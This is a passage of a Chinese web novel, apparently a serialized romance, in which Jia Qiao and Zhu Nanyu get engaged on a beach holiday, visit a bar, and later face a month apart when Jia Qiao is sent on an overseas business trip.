伽巧无话可说。 仔细想想,确实是自己不知死活先撩的。 吃过早餐后更想睡觉,伽巧困得连房间都懒得回,直接在沙滩遮阳伞下找了个位置,像猫儿似的蜷起身子打盹。 祝南屿守在旁边,拿了条薄毯替伽巧盖好,然后便从口袋拿出手机,一脸严肃确认着什么。 ‘哗啦——’ ‘哗啦——’ 伽巧枕在祝南屿的膝盖,伴随着水声,做了一个遥远的梦。 梦里是很久之前的自己,形单影只,似乎随时可以从世界上抹除痕迹。 当时的伽巧,并不觉得孤单。 因为孤单是需要对比的,如同感受过光明才意识到自己身处黑暗。 伽巧在世上从未有过牵绊,所以感受不到孤单,只是觉得时间过得很慢,且无比漫长。 画面一转,梦里出现那个熟悉的房间。 窗外飘着大雨,伽巧猛然从熟睡中惊醒,仿佛溺水似的挣扎着想要握紧什么。 房间很温暖,他却觉得冷到骨子里。 寂寞极了。 伽巧再次睁开眼,眼角感觉微微酸涩,似乎还带了点湿润。 太阳渐渐靠近海平线,也不知自己睡了多久。 仰起脸,目光就看进祝南屿的眼眸,深邃而专注。 “你一直盯着我?” “没有一直。”祝南屿解释,“只是从你睡着到醒来而已。” “那就叫一直盯着!” “是吗?”祝南屿理直气壮地说,“眼前风景太美,不知不觉就忘记时间还会流逝。” “好肉麻。”伽巧小声吐槽。 “你梦到什么了?”祝南屿轻轻抚摸他的脸,指腹蹭过伽巧的眼角,“露出这种表情。” “……一个无关紧要的梦。”伽巧含糊地敷衍过去,坐起来伸了个懒腰。 祝南屿盯着他瞧了会儿,没有继续追问,伸手牵起伽巧,“回房间吧。” “现在回去?”伽巧觉得莫名其妙。 刚才他困成那样,祝南屿非要拉着他在外面吃饭,即使伽巧困到睡着也没有把他抱回房间。 现在休息够了,反而要回房间。 思维模式越来越奇怪了! 伽巧默默想着,倒也没说什么,反正他也需要回去洗澡。 走进海景别墅,伽巧嗅到陌生的气息。 他们出去这段时间,有人进过房间里。 有人进房间不算奇怪,毕竟海景别墅需要定期修理和维护。 可空气中残留的味道很复杂,明摆着不止一个人来过,至少也有百八十人。 这么多人,怕不是入室抢劫? 祝南屿好像没有察觉,径直走向主卧。 伽巧看向主卧紧闭的门。 他清晰记得,出门时,自己根本没有锁住那道门。 而那个时候,祝南屿已经去海岸边开船了。 也就是说,有人进过主卧,或者……现在依然有人呆在里面。 伽巧不确定‘入侵者’是谁。 此前聊天时听说过,国外治安不太好。尤其像他们这样短期逗留,看起来身价不菲的游客,更容易被盯上。 祝南屿个子高,但是在歹徒眼里不够看,伽巧更是弱不经风,简直是最理想的抢劫对象。 如果那样的话—— 伽巧捏了下拳头。 他们看人的眼光真准。 此刻,伽巧已经完全没有困意,快两步走到祝南屿身前,侧过身挡住他,然后率先握紧门把手。 “娇娇?”祝南屿似乎有些紧张。 “嘘。”伽巧递给他一个眼神,让祝南屿安心。 就算里面有百八十个人,都别想碰到祝南屿一根毛。 伽巧眼底一片清冷,慢吞吞转动把手,听到门锁发出‘咔哒’一声。 ‘吱呀——’ 他慢动作推开门,首先探进脑袋观察里面的动静。 然后,目光一滞。 卧室重新清理过,床上铺满摆成心型的玫瑰花瓣。 270°海景落地窗,全部拉起窗帘,正对门口的那面墙,自动播放一段视频,屏幕中出现祝南屿的脸。 “……”伽巧回过头,看向祝南屿。 祝南屿沉默地挪开视线,似乎觉得尴尬,耳根可疑地发红。 缓了几秒,他才垂眸看向伽巧,“我本来打算自己开的。” “你还有什么打算?”伽巧走进房间,立刻有五颜六色的肥皂泡泡飘出来,不知道从哪儿传出BGM。 房门背后,还有一个穿白色礼服的小机器人,滚到伽巧脚边送上一株玫瑰。 伽巧接过玫瑰,上面绑着一个粉色信封。 信封上写着自己的名字,是祝南屿的笔迹。 “情书?”伽巧刚要拆开,被祝南屿按住手,“拆开之前,先让我说几句话。” 伽巧动作顿住,“你说。” “伽巧,不,伽巧先生。”祝南屿叫住他,表情认真,显然准备了很久的措辞,“虽然你嫌弃过很多次,说我一直在奇怪的地方执着仪式感。可即使如此,我依然想要得到明确的答复。” “所以……”祝南屿单膝点地,仰起脸看向他,手里不知何时出现一个戒指盒。 “你愿意跟我结婚吗?” 伽巧愣了几秒,低头与祝南屿对视,轻轻眨了下眼。 祝南屿准备求婚之前,自然想过伽巧可能的答复,比如‘如果我回答不愿意,现在可以离婚吗’,或者‘你好麻烦,我不是早就嫁给你了吗’诸如此例。 都不是什么浪漫的场景。 倒也无所谓,祝南屿本来就没指望得到浪漫的回复,只要他点点头就…… “对哦。”结婚之前,应该先求婚才行。 伽巧似乎刚刚意识到这件事,从首饰盒里挑出戒圈较大那枚,然后…… 转向祝南屿,单膝跪地。 握住他的手,将那枚戒指缓缓套进无名指。 “跟我结婚吧。”伽巧眼底漾开笑意,轻轻吻了下他戴戒指的手指,“这样,就算我求过婚了。” “……”明明一切都是自己准备的,伽巧显然刚想到‘求婚’这个环节,随便走了下流程而已。 祝南屿还是开心得不得了。 心脏跳得很快,仿佛要爆炸。 他原本只是想要‘答复’而已,伽巧给的不止那些。 祝南屿依稀想起,某个夜晚,他曾经呓语般对伽巧说: ‘如果重新开始,我希望是你选择我。’ “你居然听进去了啊。” “什么?”伽巧顺势坐在床边,拆开祝南屿写的情书。 字迹很漂亮,洋洋洒洒好几页,就差从盘古开天辟地开始记录两个人的情史。 “没什么。”祝南屿捂住胸口,坐到他身边,脸埋进伽巧的肩窝轻嗅,低声说,“那个,不仔细看也无所谓。” “哈,你自己也觉得写这么多很麻烦?”伽巧头也没抬,依然一个字一个字看过去,随口说,“不仔细看,要怎么写回信给你?” 祝南屿:“!!!” 救命,要疯了. 度假最后一天,伽巧终于玩腻了只有他们两个人的海滩。 换上一套清爽衣服,跟祝南屿来到海岛中央的公共区域。 这座海岛风景特别好,气候适宜,因此一年四季都有世界各地的人前来旅游。 当地抓住商机,建设了各种各样的娱乐场所,不愧是度假天堂。 由于这里民风开放,许多游戏比较大胆,周围人也早就见怪不怪。 伽巧刚走进街区,眼前就出现一个只穿沙滩短裤,身材健硕的黑皮男人,吹着口哨朝他抛媚眼,嘴里叽里呱啦说着伽巧听不懂的话。 伽巧:…… 这就是rap吗? 祝南屿随口赶过来,露出皮笑肉不笑的危险表情,凉凉吐出几个字。 虽然伽巧依然没听懂,却听懂祝南屿生气了,而且气得不轻。 黑皮瞧了眼祝南屿,又瞧了眼伽巧,伸出小拇指比划两下。 祝南屿俯身,在伽巧脸上印下一吻,明晃晃宣誓主权。 黑皮悻悻地耸了下肩膀,似乎遗憾自己不走运,叹息着转身离去。 目送他走远,伽巧仰起脸看向祝南屿,“你们刚才说了什么?” “没什么。”祝南屿言简意赅地回答,“他有眼无珠。” 自己就站在伽巧身边,他竟然有胆子过来搭讪。 即使祝南屿说了他们是夫夫关系,因为伽巧一直没开口,黑皮以为自己有机会,还问能不能接受open的关系。 O他大爷! 那种人多看伽巧一眼,都能把祝南屿气个半死。 早知道,还不如呆在海滩别墅。 祝南屿刚赶跑一个搭讪的情敌,正准备叮嘱伽巧‘不要跟陌生人说话’,就见他已经独自走出几米。 最近是海岛的旅游旺季,每家店都推出各种各样的活动,吸引游客驻足。 一家甜品店门口,贴出情侣挑战规则。 每十对情侣共同比赛,用店里自制的巧克力饼干进行经典的‘pocky’挑战。 具体就是两个人各含住饼干的一端同时开始吃,在规定的时间内,剩余饼干长度最短的情侣获胜。 为了这个游戏,店里特质的饼干长度足足有五十厘米,而且时限只有10秒钟,挑战难度不算低。 伽巧刚走过去,就被负责宣传的小姐姐拦住。 对方说了一堆,伽巧听不太懂。 见她拿着饼干,以为是试吃品,随便点了下头接过来,然后就被带到挑战的位置。 发现旁边几张桌子,都是成双成对的情侣,彼此咬着饼干的两边,才意识到好像搞错了什么。 祝南屿三两句弄清楚经过,给伽巧解释游戏的玩法。 “哦。”伽巧恍悟,一语拆破本质,“接吻游戏。” “可以这么说,要玩吗?” “好啊。”伽巧没怎么犹豫,含住饼干的一头,才发现没想象中那么简单。 因为饼干太长,稍有不慎就会断掉,要顺利亲到祝南屿没那么容易。 他想了想,示意祝南屿先松开饼干,然后起身走到他那边,□□面对面跨在他身上,伸手托住祝南屿的下巴,示意他抬起头。 祝南屿立刻明白伽巧的意图,顺从地含住饼干另一端。 店家似乎第一次见到这个姿势,拿出计时器差点忘记按,见他们开始吃了才慌忙及时。 旁边参赛的情侣注意到,还有这种操作,惊得差点忘记吃自己的饼干。 规定时间总共10秒,大概才八秒左右,伽巧的唇就落到祝南屿唇上,卷走他嘴里剩下的那截饼干。 巧克力饼干太甜了,祝南屿不喜欢吃。 “Congratulation!!!”店员小姐姐带头鼓掌,一副嗑到了的样子,把作为奖品的小蛋糕和招待券送给他们。 伽巧舔了下唇,用自己为数不多的词汇道了谢,低头看看那张招待券。 看、看不懂。 伽巧郁闷地想:这辈子不愿再出国。 明明大家都是人,却有种自己是猴子,无法沟通的错觉。 “这张是酒吧的招待券。”祝南屿顺势搂住他的腰,让他保持这个姿势,结结实实坐在自己腿上,逐字逐句翻译道,“凭优惠券可以抵100刀,欢迎你的光顾,地址就在旁边街区的地下楼层。” “酒吧啊,那我们去吧。” “你要喝酒?”祝南屿挑了下眉,上上下下打量他。 他可没忘记,伽巧酒量差得可以,喝完酒就发疯,第二天还会断片。 “这是我赢来的奖品。”伽巧晃了晃优惠券。 虽然没有费多少劲儿,但奖品就是奖品,怎么可以不好好使用? “好,我带你去。”祝南屿无奈,只能祈祷那间酒吧有果汁或者无酒精的调酒。 两个人牵着手,走到隔壁街区,却连一杯白开水都没喝到。 酒吧营业时间在晚上,还要等四个小时才会营业。 伽巧没什么耐心等待,也不喜欢晚上出门。 可他跟那张赢来的优惠券较劲,今天非要把他用出去不可。 祝南屿自然纵容老婆,提议先到附近走走转转。 再往街区的深处走,逐渐脱离消费高昂的度假娱乐区,人潮变得多了起来。 前方是公开海域,有许多大学城趁着假期,组团过来玩耍,到处可以看到穿着比基尼的性感辣妹和裸着上身的肌肉型男。 还有许多人架着手机,以蓝天碧海为背景拍照。 两个人刚走到海滩附近,就有两个身穿性感泳装的金发美女,笑盈盈叫住祝南屿,递来一个相机请他帮忙拍照。 反正两个人要打发时间,祝南屿随口答应这个举手之劳,拍完照把相机还给她们。 金发美女确认照片,十分惊喜,向祝南屿抛了个飞吻。 “……?”伽巧立刻抬头,瞪向祝南屿,“你跟她们说了什么?” 祝南屿又好笑又冤枉,仔细解释了一番,告诉伽巧飞吻只是表达感谢的方式。 伽巧勉为其难接受这个说法,不高兴地要求,“以后不要让别人谢谢你。” 哪怕亲吻只是表达感谢的方式,伽巧还是觉得酸溜溜的。 祝南屿好悬没笑出声。 原来伽巧也会吃醋。 挺可爱的。 他们没有穿泳装过来,因此没有太靠近海,在距离海岸有段距离的摊位上吃冰淇淋。 伽巧要了个最大的冰淇淋,才吃两口,突然听到旁边传来不可思议的尖叫。 “伽巧?真的是你!天呐天呐我这什么狗屎运!” 难得听到自己能听懂的话,伽巧抬头看过去,瞧见一张陌生的脸。 “我见过你吗?”伽巧问。 “没、没见过。”对方意识到自己有些唐突,结结巴巴解释,“我是你的……支持者?” 伽巧不是明星,说‘粉丝’总觉得有些奇怪。 “我从很久之前就开始关注你了,你的杂志我买了好几本,直播我也看,特别喜欢你跟……祝董。”她斜了眼旁边的祝南屿,尴尬地吐了下舌头,“我是不是太唐突了?你们这样的公众人物特意来国外旅游,应该不想被认出来吧?” “是吗?”伽巧看向祝南屿。 “没关系。”祝南屿体面地说,“他乡遇同胞,我们也觉得荣幸。” “没打扰到你们就好,我刚才太激动了,所以……你们慢慢玩啊!”女生挥挥手,快步跑开去跟同伴汇合。 她的几个同伴说了些什么,同时看向伽巧和祝南屿,突然站在那里推推搡搡。 隔了好一会儿,最开始那个女生又扭扭捏捏回来,不好意思地支支吾吾说,“我朋友让我过来问,你们能不能给我们签个名?” 她手里攥着一张纸,揉得快要皱了。 伽巧正准备答应,祝南屿却笑着说,“抱歉,我们不方便在白纸上签名。” “为什么?”伽巧小声问。 没等祝南屿回答,女生露出懊恼地表情,“哦对对对!签在白纸上可能会被拿去打欠条,瞧我这个笨脑子!那怎么办?你们要不签在我衣服上?” 见她实在想要签名,伽巧目光投向祝南屿。 祝南屿说了句‘你等会儿’,然后跑到旁边商店买了立刻呈像的拍立得,勾住伽巧的脖颈拍了张照片,然后接过笔在照片上签了名。 祝南屿的字龙飞凤舞,走笔利落。 伽巧名字写在他旁边,端正得像个小学生。 女生如愿以偿得到前面,飞奔似的跑回朋友身边,一行人对着照片大拍特拍。 几分钟后,S+超话飘满了柠檬精。 【美好的一天从刷到这个贴结束】 【伽伽也太好了吧?感觉他一根棒棒糖就能被骗走】 【其实看过直播就知道伽伽真的很单纯,我现在毫不怀疑他是被祝董骗婚的(手动狗头】 【哎呀小两口把日子过好就行,祝董那个妻管严不会欺负伽伽的】 【老婆一个眼神就乖乖跑去买拍立得,突然想狗塑祝董了】 【所以他俩又不游泳,呆在海边干吗?】 【速报!又有人偶遇S+,说他俩手拉手去夜店了!!!】 好不容易熬到酒吧开门,伽巧率先走进去,才发现‘酒吧’和‘酒店’完全是两个概念。 昏暗的光线,空气中弥漫着复杂的香水味,舞池里男男女女贴身摇曳着腰肢,还有人借着醉意到处搭讪。 还没等伽巧适应里面的环境,一个穿着酒保服涂了黑唇彩,看起来很酷的御姐拦住他,伸手指了指门口的标识。 19,上面打了个叉。 害怕伽巧看不懂似的,旁边还用中文标注:本店不接待十九岁以下的客人。 “小孩。”御姐扬起头,用还算标准的中文说,“出去。” “我不是小孩,我成年了。” “不要骗我。”御姐上上下下打量伽巧,对上他单纯的目光,劝诫道,“这里很危险,你来这里等于小白兔进入狼窝,快走快走。” “咳咳。”祝南屿轻轻嗓子,憋住笑,从后面递过来伽巧的护照,“他真的成年了。” 酒保御姐确认了三遍照片和出生日期,才勉为其难问,“行吧,要喝什么?” “橙汁。” “……”你果然是未成年吧?!- 作者有话说: 娇娇:小白兔?我吗? 第53章 酒吧里不提供牛奶和果汁, 气质很御的调酒师,最终给伽巧一杯无酒精版本的灰姑娘。 郁金香的酒杯中加入柠檬汁、柳橙汁、凤梨汁和红石榴浓缩汁,最后用雪碧灌满, 点缀一片柠檬,怎么看都跟‘酒’扯不上关系。 不过它好歹用酒杯装, 让伽巧在暧昧迷离的环境中, 显得没有那么突兀。 祝南屿点了酒吧人气最高的调酒, 端着酒杯跟伽巧找位置做。 度假区生意太好, 明明刚开始营业,座位已经被占了七七八八, 只剩吧台和犄角旮旯还有零星座位。 听周围人议论, 祝南屿才知道这间酒吧的驻唱Rapper非常有名, 属于电视台花钱都得排档期的哈圈顶流, 甚至有嘻哈节目请他担任导师。 他们来得时间正好, 绑着一头脏辫戴着眉钉唇钉, 身上肉眼可见部位全部印着纹身, 走路六亲不认带着几分睥睨的Rapper正好从外面进来。 伽巧还在等祝南屿找位置,端着酒杯站在空旷的地方,没意识到自己挡住通往驻唱台的通道。 Rapper个子很高, 走过来俯视伽巧, 粗声粗气说了些什么。 伽巧没听懂,一脸清澈的茫然。 见他无动于衷, Rapper恼了, 竖起大拇指狠狠往下压了压。 这个动作可以说,是‘竖中指’之外最广为流传的国际挑衅手势,遇到血气方刚的肯定当场打起来。 然而很遗憾,伽巧接触的圈子很窄, 而且都是受过义务教育的高素质人群。 所以,伽巧连竖中指的意思都不太明白。 “啊?”伽巧懵懵地反问,“下面有位置吗?” 原来这间酒吧还有地下楼层,怎么没看到楼梯呢。 这下子,不止那位Rapper更生气了,连围观的客人都露出异样神色。 在他们眼中,伽巧先挡住了Rapper 的路。混哈圈的个个心高气傲,根本忍不了这种事,何况周围还有许多冲着他而来的粉丝。 Rapper嚣张的diss过去,通常来说会遇到两种情况。 要么遇到怂的,立刻滑跪让开,当做无事发生。 要么遇到同样狂的,跟他正面硬刚,演化成一场激烈的battle。 万万没想到,伽巧面对如此羞辱,居然移开目光,似乎不把Rapper放在眼里。 那个Rapper气得爆了个粗,伸出肌肉扎实、印满纹身的手臂,打算揪住伽巧的衣服强迫他直视自己。 结果,粗壮的手臂刚要碰到伽巧,对方瞬间躲开,握住他的手反手拧到背后,把人高马大的Rapper按在旁边宣传板上。 “呃啊——”Rapper猝不及防,没控制住声音,发出丢脸的哀嚎。 “不好意思,本能反应。”伽巧从始至终不知道对方想做什么,只见他伸出手,意识到危险回击罢了。 发现壮汉如此脆皮,一身肌肉明显是健身房练出来的,跟打手或者特工毫不相干,肯定不是派来暗杀自己的。 伽巧松开手,瞥了眼他刚才被自己捏住的胳膊,暗暗庆幸。 幸好自己力道削弱了不少,否则他那只手就该断了。 Rapper似乎没意识到,眼前这位看似纤细、柔美、易碎的青年,竟然藏着这么恐怖的怪力气,吓得瞬间不敢继续挑衅。 与此同时,前去找位置的祝南屿听到动静,还没回到伽巧身边,就从周围人口中得知伽巧被挑衅了,连忙加快速度赶回去。 结果,就看到这一幕—— “娇娇,你没事吧?”祝南屿担忧地检查伽巧身体,确定他没有问题,眯起眼锐利地刺向Rapper。 Rapper委屈。 怎么没人关心我有没有事? 祝南屿靠近他,薄唇轻启,低声说了句什么。 周围人没听清,只见Rapper脸色前所未有的白,惊魂未定地瞥向伽巧,然后仿佛被鬼追似的逃上驻唱台。 他已经不在乎什么面子里子了,自认为‘老子天下第一’的Rapper现在才知道什么叫天外有天,天外还有天。 “他说什么?”伽巧揪住祝南屿衣袖,皱着眉嘀咕道,“这里的人说话,我都听不懂。” “是我的疏忽。”祝南屿轻抚他的脸,“下次给你请翻译。” “就没有‘下次不出国’这个选项吗?” “那没有。”祝南屿笑眯眯说,“如果你愿意,我可以教你学一些日常用语。” “……也行。”反正自己的脑袋还有九点九成新,多学一点语言倒是无所谓。 祝南屿带着他,走到刚才预定的位置,迫不及待开始教学。 “第一句,I love you。” 伽巧瞥了他一眼,“这句我听得懂。” 好歹是经营了几天社交媒体的‘大顶流’,每天要听很多句‘宝宝’和‘妈妈爱你’,就算记性再差也知道‘love’代表什么意思。 “那,daisuki。” “……英语还有这种发音吗?” “你说说看?” 伽巧明知道,祝南屿肯定骗自己说他想听的,却还是重复了一遍。 果然,男人笑得一脸得逞,哄着伽巧端起酒杯跟自己碰了下。 “你想让我表白,直接说……做什么?” 伽巧嘀咕到一半,正准备喝酒,却发现祝南屿将自己的酒杯凑过来。 “要交换吗?”伽巧有一点迷糊。 祝南屿明明知道自己酒量很差劲,容易醉还有很多坏毛病。 刚刚还建议他点无酒精的调酒,现在却喂他喝酒? 难道说……他其实更喜欢自己喝醉的样子? 虽然搞不明白老公在想什么,伽巧还是乖乖凑过去,张开嘴凑近祝南屿递过来的酒杯。 还没有靠近,祝南屿轨迹生生转了个弯,绕过伽巧端着酒杯的那条胳膊。 “???” “就这样喝。”祝南屿补充,“你喝你的,我喝我的。” “这样喝不方便。”伽巧的胳膊卡着祝南屿的手臂,按照原本的坐姿无法顺利送到嘴边,必须把脑袋凑过去。 他一手按住祝南屿的腿,倾身靠过去,一抬眼就望进他的眼睛。 四目相对,两个人几乎同时饮下杯中的酒。 祝南屿凝视他,慢慢喝完那杯酒,唇角扬起笑意。 “这叫交杯酒。” 伽巧抿了下唇,怀疑刚才那个酒保骗了自己。 这杯酒喝下去,让人感觉灼热又轻飘飘,好像醉了似的. “嗨,新年好啊!” “伽巧~恭喜你,考证一次上岸!” “谢谢。” 假期后第一次来学校听课,伽巧打开书包,拿出分装好的糖果分发给他们。 “哇,G牌巧克力,我喜欢这个。” “伽哥,这是你们家没吃完的年糖吗?” 伽巧回答,“不,这些是喜糖的样品。” 因为某个人太讲究,光是喜糖的样品就堆了几大箱,伽巧再怎么喜欢甜食也吃不完,干脆拿来分给同学。 “哦!我刷超话看到了,听说你跟你老公打算办一次公开婚礼。” “豪门婚礼哎,能不能让我蹭吃蹭喝。” “好啊。”伽巧像个活菩萨似的,有求必应,“请帖印好我发给你们。” “开玩笑的,开玩笑的!” 鲁莽大学生吓得连连后退,疯狂摆手。 “我寒假打工才存了3500,根本不够给你随份子。” “你至少还有3500,我妈给我第一个月的生活费只剩五百,下半个月要吃土了。” 听他们提到‘份子钱’,伽巧才意识到还有这茬。 第一次结婚,因为伽巧讨厌麻烦,根本没邀请宾客,当然也没有收到随礼的份子钱。 “我们不是第一次结婚,不需要份子钱。”伽巧平淡地说,“他预定了很多位置,欢迎你们来。” 伽巧甚至怀疑,如果条件允许,祝南屿甚至会把国家体育馆包下来,当着所有人的面宣告婚礼誓词。 也不知道兴奋个什么劲儿。 “那不行,目光要放长远,我哪怕多接几份家教也要给你随礼!”爽姐得知消息,斩钉截铁地说,“我现在给你随礼,等我结婚的时候,你不就要给我随礼了吗?” “有道理,不愧是爽姐!那我也要多随一点!” “好家伙,把婚礼当成投资了。” 伽巧后来又被他们拉到射击部,玩了几次游戏,清楚这几个喜欢口嗨的毛病。 他在火锅店充的会员卡,明明留给他们了,可只要自己不去,他们从来没用过。 “会的。”伽巧点点头,“你们结婚也要邀请我。” 爽姐拍拍他肩膀,一副宰到冤大头的气势,“那当然!我第一个给你发请帖,还指望你撑场面呢!” “爽姐,结婚必须有个男朋友,或者女朋友,你有吗?” “大学都快毕业了,你连对象的手都没碰过。” “啊啊啊少废话!你们给我拿命来!” 伽巧看着他们打打闹闹,恍惚中,自己好像也融入了同龄人一点。 虽然没考上大学,怎么不算体验大学生活呢。 傍晚,伽巧走出学校。 入春后,天气渐渐回温,迎面吹来的风都带着暖意。 祝南屿没有像之前那样等在车里,而起站在路边树荫下,微微低头垂眸看着手机。 他侧对着伽巧,看不清表情和眼神。 可大概因为相处太久,伽巧盯着他的侧影,立刻意识到祝南屿心情不太好。 “怎么了?” 伽巧三两步走过去,轻声问。 “……嗯?”祝南屿转过头看他,慢了半拍才回答,“没什么。” 伽巧没再说话,一言不发盯着他。 刚才,祝南屿甚至没有意识到自己靠近。 到底除了什么大事,让他连变态的本性都忘记了? 祝南屿被他盯了一会儿,意识到自己瞒不过去。 如果换做以前的伽巧,恐怕连‘怎么了’都不会问。 越是彼此了解,祝南屿越难在他面前伪装自己。 又或者说,他根本已经不想再伪装了。 “回家之前,先去趟公司吧。”祝南屿叹了口气,投降般说道。 “公司出事了吗?明明早上还说一切正常。”伽巧随他坐进车里,也跟着不安起来,“又有人想要搞垮千合吗?还是内部出现情况了?难道因为我……” 祝南屿打断他,“都不是,公司一切正常。” 伽巧更想不通。 公司一切正常,祝南屿为何露出那样表情呢? 约莫半小时后,伽巧来到公司,上上下下一片和谐,并没有伽巧担心的风雨欲来。 看样子,运作方面确实没出什么问题。 可当伽巧搭乘电梯,升到高管们所在的楼层,明显感觉到一片低气压。 ——果然出了什么状况。 伽巧没有跟任何人联系,同时盯着祝南屿不准他‘通风报信’,这才悄无声息接近。 刚走到茶水间,听到里面几个人正在闲聊。 “……别啊,我舍不得伽董!” “谁不是呢,想到以后在公司见不到伽董的脸,我上班都没力气。” “消息属实吗?我昨天还看到伽董正常来公司,没有要离开的意思。” “听说是今天突然决定的,唉!” 突然决定? 决定什么? 伽巧从他们的对话中,大致有了猜测。 确实,祝南屿回到公司后,千合发展神速,隐隐有赶超巅峰期的迹象。 然而,这样一个世界级企业,董事长资历却单薄的可怜,说出去员工都觉得丢脸。 即使伽巧持有公司最高股份,但如果董事会其余股东一致决定,要求伽巧离开公司让出董事长的位置—— 其实让位也无所谓。 伽巧本来也没想当什么‘董事长’,正好从此以后甩下负担,按照原计划躺在家里等分红就好。 但……他们既然决定赶走自己,为什么不能更早一点? 偏偏等伽巧决定融入,才把他扫地出门。 “娇娇。”祝南屿靠过来,揉揉头发,语气略带无奈,“我也是刚刚才知道消息,不知道怎么跟你开口。” “嗯。”伽巧点点头,勉强压住情绪,“打算什么时候开会宣布?” “本来准备明天再商量,既然你今天来了,就现在吧。” “这么快?”伽巧有些受伤。 哪怕自己是傀儡,好歹做了四年董事长,‘逼宫’这种事好歹应该正式一点举办大型股东会吧? 听祝南屿说得那么随便,好像自己像用过的纸巾,轻飘飘就可以扔开。 “那干脆别开会,直接让我走好了。”伽巧怎么都忍不住,没有控制音量,声音还带着怨气。 临近几个办公室的人听到,纷纷推开门向伽巧打招呼。 伽巧一想到他们背后达成什么共识,突然意识到世界的虚伪,理都不想理。 当初是他们说‘誓与千合共存亡’,才激发伽巧的责任感,决定认真做好董事长这份工作。 到头来,他们在意的是千合,伽巧只是用完就扔的棋子。 “伽董?”因为有员工出现,祝南屿自然而然改了称呼。 伽巧生气地怼,“别叫我伽董!” 见到祝南屿被骂,周围人都震惊了,纷纷露出‘老板也有今天’、‘糟糕了,董事长生气好可怕’的表情。 祝南屿被骂得猝不及防,试探着拉起伽巧的手,低声哄,“对不起,没想到你那么讨厌国外,我会跟Lanner那边再商量。” “……为什么要跟他商量?”伽巧觉得莫名其妙。 董事长变动,不应该是千合内部的事吗? 怎么一会儿说讨厌国外,一会儿又扯到Lanner? “伽、伽董。”旁边人害怕被骂,一声‘伽董’叫得心惊胆战,赔着小心说,“因为,是Lanner指名要求你代表千合,前往海外与他们总部进行商业交流的。” 伽巧:“???” 经过一番不算激烈的讨论,伽巧才意识到是自己先入为主,错得离谱。 因为‘曙光’项目已经启动有段时间,双方公司度过磨合期,已经形成坚实的合作关系。 但因为曙光项目主场在国内,海外公司除了Lanner小分队之外,只能远程参与办公。 为了进一步加深合作关系,总部那边提出短期交流,诚挚邀请千合负责人前往海外参与深度合作的会议。 按理来说,对方总部提出的邀请,应该由公司内部M2以上的人负责。 但考虑到此次出差的性质,高管们原本打算派个更了解曙光项目的人,免得伽巧到了人生地不熟的地方,显得孤立无援。 本来已经决定,可上午的沟通过程,Lanner突然提出必须由伽巧参加。 他给的理由很有说服力。 “我司邀请的是千合负责人,应该由贵司最有话语权的人前往。还是说……千合董事长如同传闻中那样,有名无权?” 高管们被那句‘有名无权’刺激到了,立刻组织紧急会议,全票通过由千合实权董事长出席此次会议的提案。 伽巧声音格外柔弱,“……我以为你们决定开除我,然后换个董事长。” “伽董,你在说什么?” “你知道自己现在是千合的活招牌吗?本季度新发售的产品都没怎么打广告,放两段你试用的vlog就能卖爆!” “伽董,你清醒一点!我们上午刚刚决定由您去海外出差,下午整层楼一片怨声载道,都说上班没什么盼头。要是把您开除,谁来给这个破班提供情绪价值!!!” “对!” “够了。”祝南屿见伽巧的头越垂越低,似乎想在地上劈开一道缝钻进去,适时开口转移话题,“出差的具体行程呢?” “在这里。”总裁助理适时递上行程表,“这次出差关系未来至少五年的合作,因此行程较长,至少需要一个月以上。公司这边已经跟对方沟通过,会在所有场景为伽董提供翻译,并且每次决策我们也会远程参与。” 伽巧翻开行程表,随行名单中没有祝南屿的名字。 确实,自己出差时,千合依然要继续运转,祝南屿必须留在公司坐镇。 ——难怪他一副魂不守舍的样子。 原来是接受不了异国恋。 “我知道了。”伽巧恢复以往状态,任由他们安排自己。 祝南屿静静坐在伽巧身边,望着他的侧脸盯了许久,似乎要把未来几十天的份全部盯回来。 临时会议结束,其余人很有眼力劲儿,陆陆续续离开办公室,只留下伽巧和祝南屿。 祝南屿突然像失去力气似的,靠在伽巧身上,手臂环住他的腰,脸埋进颈窝眷恋地蹭来蹭去。 “好痒。”伽巧抬手,摸了摸他的头发,“你今天这么奇怪,就因为这件事?” “嗯。”祝南屿声音很低,尾音有点黏糊,分不清是撒娇还是觉得委屈。 虽然结婚已经有段时间,可他们不久前才互相告白,求婚成功,现在应该是最需要黏在一起的热恋期。 就在昨天,祝南屿还兴致勃勃准备婚礼,光喜糖就看了许多种,还打算明天跟伽巧一起去选择礼服的款式。 结果,就在去学校接男朋友的路上,收到这个‘噩耗’。 “我很清楚,站在你的立场,这次出差非去不可。而且这个责任也算是我强加给你,看着你慢慢变得成熟、游刃有余,我应该由衷为你高兴。”祝南屿抱得更紧,叹息着说,“还是太长了。” 也不知道他说的‘长’,指得时间还是距离。 “一个月而已,很快就过去了。”伽巧安慰他。 祝南屿丝毫没有被安慰道。 伽巧再接再厉,继续安慰,“我们分开过四年,不也过去了。” “……”祝南屿身体一僵,声音更加低落,“这算是报应吗?” 都怪他把伽巧留在原地四年,现在角色掉转,轮到他独守空房每天望夫石似的眼巴巴盼着老婆。 还真是天道好轮回。 正式出发前,伽巧确实觉得一个月不算太长。 他一直对时间流速没有概念,反正等待的日子总会过去,所以只需要眼前事情就足够。 本来是这样的—— 真正到了国外,他才意识到,真正折磨的不是等待本身。 而是分隔两地,恋人时时刻刻传递过来的想念,让他甚至想不顾一切丢下所有事,快点飞奔到他身边。 “在那边还习惯吗?北欧商务餐被叫‘白人饭’,不太好吃。” 祝南屿每天卡着伽巧休息时间,打来视频电话跟伽巧分享日常,恨不得每个细节都要知道得清清楚楚。 伽巧刚回到酒店,松了松领带,随口回应道,“还好,他们给我准备了中餐。” “怎么安排你住酒店?”祝南屿皱眉,“那边房价有那么贵吗?还有,你明明没打过几次领带,谁给你打的?!”- 作者有话说: 祝祝,分离焦虑晚期。 第54章 “我只呆一个月, 在市中心买套几百万欧元的房子要做什么?” 屏幕里突然晃动几下,看来是伽巧把手机固定在某个位置,然后调整了一下拍摄角度。 确认镜头能排到自己后, 伽巧重新拿起刚才摘下来的领带,绕过自己脖颈, 白皙纤细的手指灵活地打了个漂亮的领带结。 “满意了?你不要乱吃醋。” “……” 祝南屿很想开口否认, 说自己没有乱吃醋。 爱人离自己那么遥远, 无法触碰, 难以窥视。 祝南屿忍不住想他每天会遇到谁,产生什么交集, 发生多少自己不知道的事。 想着想着, 仿佛一只被抛弃的狗狗, 哀怨而又失落, 非常…… 不安。 “抱歉。”祝南屿压下情绪, 换上一副温柔模样, “今天很累了吧?早点休息。” 两个人相处时, 伽巧本来就是难以察觉伴侣情绪的一方,更何况隔着屏幕。 海外工作确实消耗太多精力,他随意说了声‘晚安’就挂断视频。 祝南屿握着手机盯了一会儿, 